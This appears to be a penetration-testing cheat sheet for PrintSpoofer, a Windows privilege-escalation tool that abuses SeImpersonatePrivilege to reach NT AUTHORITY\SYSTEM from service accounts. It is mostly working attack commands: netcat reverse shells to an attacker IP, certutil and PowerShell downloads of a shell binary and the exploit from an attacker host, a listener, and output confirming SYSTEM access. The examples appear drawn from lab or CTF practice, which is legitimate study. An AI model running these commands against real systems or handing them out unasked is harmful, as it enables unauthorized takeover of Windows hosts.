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# printspoofer

PrintSpoofer exploits `SeImpersonatePrivilege` to escalate from service accounts to `NT AUTHORITY\SYSTEM` on Windows Server 2016, Server 2019, and Windows 10.

## Requirements

* Service account with `SeImpersonatePrivilege` (e.g., IIS AppPool, SQL Server, DNN application pool)

## Usage

```cmd
# Spawn interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd

# Using PrintSpoofer64 with a reverse shell
PrintSpoofer64.exe -c "c:\path\to\nc.exe ATTACKER_IP PORT -e cmd"
```

## Example: DNN App Pool to SYSTEM

```cmd
# Confirm privileges
whoami /priv
# Look for: SeImpersonatePrivilege Enabled

# Upload PrintSpoofer64.exe and nc.exe to writable directory
# Execute reverse shell as SYSTEM
c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "c:\DotNetNuke\Portals\0\nc.exe 10.10.14.15 443 -e cmd"

# On attack host, catch shell
nc -lvnp 443
# whoami → nt authority\system
```

## Example: Local Service to SYSTEM

If a webshell runs as `nt authority\local service` and has `SeImpersonatePrivilege`, upload a reverse shell and `PrintSpoofer64.exe` to a writable directory such as `C:\Windows\System32\spool\drivers\color`.

```cmd
whoami /all
:: SeImpersonatePrivilege        Impersonate a client after authentication Enabled

certutil -urlcache -f http://ATTACKER_IP:8000/shell.exe C:\Windows\System32\spool\drivers\color\shell.exe
powershell -c "iwr -uri http://ATTACKER_IP:8000/PrintSpoofer64.exe -outfile C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe"

C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "C:\Windows\System32\spool\drivers\color\shell.exe"
```

On the listener:

```
connect to [ATTACKER_IP] from TARGET
C:\Windows\system32>whoami
nt authority\system
```

## Links

* [PrintSpoofer GitHub](https://github.com/itm4n/PrintSpoofer)
* [PrintSpoofer64 Pre-compiled](https://github.com/dievus/printspoofer)


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